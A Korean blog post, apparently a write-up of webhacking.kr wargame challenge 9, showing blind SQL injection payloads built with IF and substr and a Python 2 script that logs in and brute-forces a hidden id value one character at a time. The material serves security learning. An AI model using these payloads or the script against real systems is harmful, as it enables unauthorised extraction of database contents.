위와 같이 1,2,3 번을 누른 화면이다. 파라미터로 no를 전달하며 no=3 일 때 힌트 페이지를 제공해준다.
데이터베이스 안에 칼럼은 id, no로 구성돼있고 11자리인 칼럼이 답인 것 같다.
URL에 no 칼럼이 보이니까 id 칼럼이 문제의 답이다.
no 파라미터에 1,2,3 이외 숫자를 입력하면 Password 입력폼만 출력된다.
이것을 통해 참/거짓을 구분할 수 있고 Blind SQL 인젝션 공격을 할 수 있다.
2018/09/07 - [WEB Hacking/정리] - [MySQL] Blind SQL 인젝션 :: IF문
이전에도 이러한 비슷한 문제를 풀어서 no=IF(조건, 1,100)와 같이 참이면 no=1, 거짓이면 no=1000으로
쿼리문을 만들어 id 값의 정보를 얻을 수 있다.
2018/09/06 - [WEB Hacking/webhacking.kr] - [webhacking.kr] 13번 Blind SQL 인젝션 equal bypass
no=IF( (length(id))IN(1),1,1000)
no=IF( (length(id))IN(2),1,1000)
no=IF( (length(id))IN(3),1,1000)
...
no=IF( (length(id))IN(5),1,1000)
no=1일 때 id 길이는 5이다.
no=IF((substr(id,1,1))IN(0x61),1,1000)
no=IF((substr(id,1,1))IN(0x62),1,1000)
...
no=1일 때 id 는 Apple이라는 것을 얻었다.
그럼 분명 no=2일 때 id는 Banana일 것이고 no=3일 때 id가 이 문제의 답이라는 것을 추측할 수 있다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 | import urllib2 import urllib import re TrueKeyword = "<b>Secret</b>" headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'} params = {'id' : 'rap1er', 'pw' : 'PASSSWORD'} id_pw = urllib.urlencode(params) url = "http://webhacking.kr" req = urllib2.Request(url, id_pw, headers=headers) # POST Data should be Bytes. res = urllib2.urlopen(req) session_id = res.headers.get("Set-Cookie") print "GET SESSION-ID : "+session_id ################################################################## # password length # ex) no=IF((length(id))IN({}),3,1000) # ################################################################## blind_target_url = "http://webhacking.kr/challenge/web/web-09/index.php?" for i in xrange(1,50): injectParams = "no=IF((length(id))IN({}),3,1000)".format(str(i)) print injectParams req = urllib2.Request(blind_target_url+injectParams, headers=headers) req.add_header("cookie", session_id) res = urllib2.urlopen(req) data = res.read() find = re.findall(TrueKeyword, data) if find: break pw_len = i print "password length :" + str(pw_len) ################################################################## # password string # no=IF((substr(id,{},1))IN({}),3,1000) ################################################################## count=1 password = "" for i in xrange(1, pw_len+1): for j in xrange(65, 127): # injectParams = "no=IF((substr(id,{},1))IN({}),3,1000)".format(str(i), hex(j)) injectParams = "no=IF((substr(id,"+str(i)+",1))IN("+hex(j)+"),3,1000)" req = urllib2.Request(blind_target_url+injectParams, headers=headers) req.add_header("cookie", session_id) res = urllib2.urlopen(req) data = res.read() find = re.findall(TrueKeyword, data) count+=1 if find: print "[+] Request : " + injectParams + " --> {}'s injection ={}".format(count, chr(j)) break else: print "[+] Request : " + injectParams + " --> {}'s injection ={}".format(count, chr(j)) password += chr(j) print "{}'s password : ".format(i)+ password print "PASSWORDDDDDDDD is :" + password | cs |
'WEB Hacking > webhacking.kr' 카테고리의 다른 글
[webhacking.kr] 08번 :: INSERT SQL 인젝션 (0) | 2018.09.10 |
---|---|
[webhacking.kr] 49번 :: SQL 인젝션 (0) | 2018.09.10 |
[webhacking.kr] 13번 Blind SQL 인젝션 equal bypass (0) | 2018.09.06 |
[webhacking.kr] 40번 Blind SQL 인젝션 - Efficient Blind SQL 인젝션 스크립트 작성 (0) | 2018.09.04 |
[webhacking.kr] 55번 Blind SQL 인젝션 (0) | 2018.09.04 |